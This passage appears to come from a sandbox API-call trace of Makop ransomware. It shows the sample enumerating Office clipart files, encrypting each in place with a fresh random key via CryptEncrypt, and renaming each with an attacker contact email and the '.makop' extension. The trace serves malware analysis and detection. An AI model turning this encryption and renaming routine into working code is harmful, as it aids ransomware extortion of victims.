Office\\CLIPART\\PUB60COR\\FD02068_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.875] CloseHandle (hObject=0xf0) returned 1 [0113.876] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02071_.WMF", cAlternateFileName="")) returned 1 [0113.876] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0113.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.876] GetProcessHeap () returned 0x48a0000 [0113.876] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.876] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.876] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.877] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.881] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.881] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.881] GetProcessHeap () returned 0x48a0000 [0113.881] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.881] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.881] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.881] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.881] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.881] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.882] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.882] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.882] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.882] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.882] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.882] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.882] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x88c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x88c, lpOverlapped=0x0) returned 1 [0113.882] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x890, dwBufLen=0x890 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x890) returned 1 [0113.882] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.882] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x890, lpOverlapped=0x0) returned 1 [0113.883] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.883] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.883] SetEndOfFile (hFile=0xf0) returned 1 [0113.888] GetProcessHeap () returned 0x48a0000 [0113.889] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.889] GetProcessHeap () returned 0x48a0000 [0113.889] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.889] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.889] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.890] CloseHandle (hObject=0xf0) returned 1 [0113.890] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x112c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02075_.WMF", cAlternateFileName="")) returned 1 [0113.890] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0113.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.891] GetProcessHeap () returned 0x48a0000 [0113.891] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.891] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.891] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.891] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.895] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.896] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.896] GetProcessHeap () returned 0x48a0000 [0113.896] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.896] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.896] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.896] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.896] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.896] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.896] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.896] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.897] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.897] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.897] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.897] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.897] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x112c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x112c, lpOverlapped=0x0) returned 1 [0113.898] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1130, dwBufLen=0x1130 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1130) returned 1 [0113.898] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.899] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1130, lpOverlapped=0x0) returned 1 [0113.899] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.899] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.899] SetEndOfFile (hFile=0xf0) returned 1 [0113.905] GetProcessHeap () returned 0x48a0000 [0113.905] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.905] GetProcessHeap () returned 0x48a0000 [0113.905] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.905] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.906] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.907] CloseHandle (hObject=0xf0) returned 1 [0113.907] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02088_.WMF", cAlternateFileName="")) returned 1 [0113.907] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0113.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.908] GetProcessHeap () returned 0x48a0000 [0113.908] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.908] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.908] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.908] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.909] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.909] GetProcessHeap () returned 0x48a0000 [0113.909] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.909] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.909] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.909] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.912] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.913] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.913] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.913] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.913] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.913] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.913] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.913] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.913] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe70, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe70, lpOverlapped=0x0) returned 1 [0113.913] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe70, dwBufLen=0xe70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe70) returned 1 [0113.913] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.914] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe70, lpOverlapped=0x0) returned 1 [0113.914] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.914] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.914] SetEndOfFile (hFile=0xf0) returned 1 [0113.920] GetProcessHeap () returned 0x48a0000 [0113.920] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.920] GetProcessHeap () returned 0x48a0000 [0113.920] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.920] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.920] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.921] CloseHandle (hObject=0xf0) returned 1 [0113.921] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02097_.WMF", cAlternateFileName="")) returned 1 [0113.921] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0113.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.922] GetProcessHeap () returned 0x48a0000 [0113.922] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.922] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.922] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.922] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.927] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.927] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.927] GetProcessHeap () returned 0x48a0000 [0113.927] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.927] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.927] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.927] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.927] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.927] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.928] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.928] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.928] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.928] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.928] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.928] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.928] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x61c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x61c, lpOverlapped=0x0) returned 1 [0113.928] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x620, dwBufLen=0x620 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x620) returned 1 [0113.928] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.929] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x620, lpOverlapped=0x0) returned 1 [0113.929] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.929] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.929] SetEndOfFile (hFile=0xf0) returned 1 [0113.934] GetProcessHeap () returned 0x48a0000 [0113.934] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.934] GetProcessHeap () returned 0x48a0000 [0113.935] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.935] wsprintfW (in: 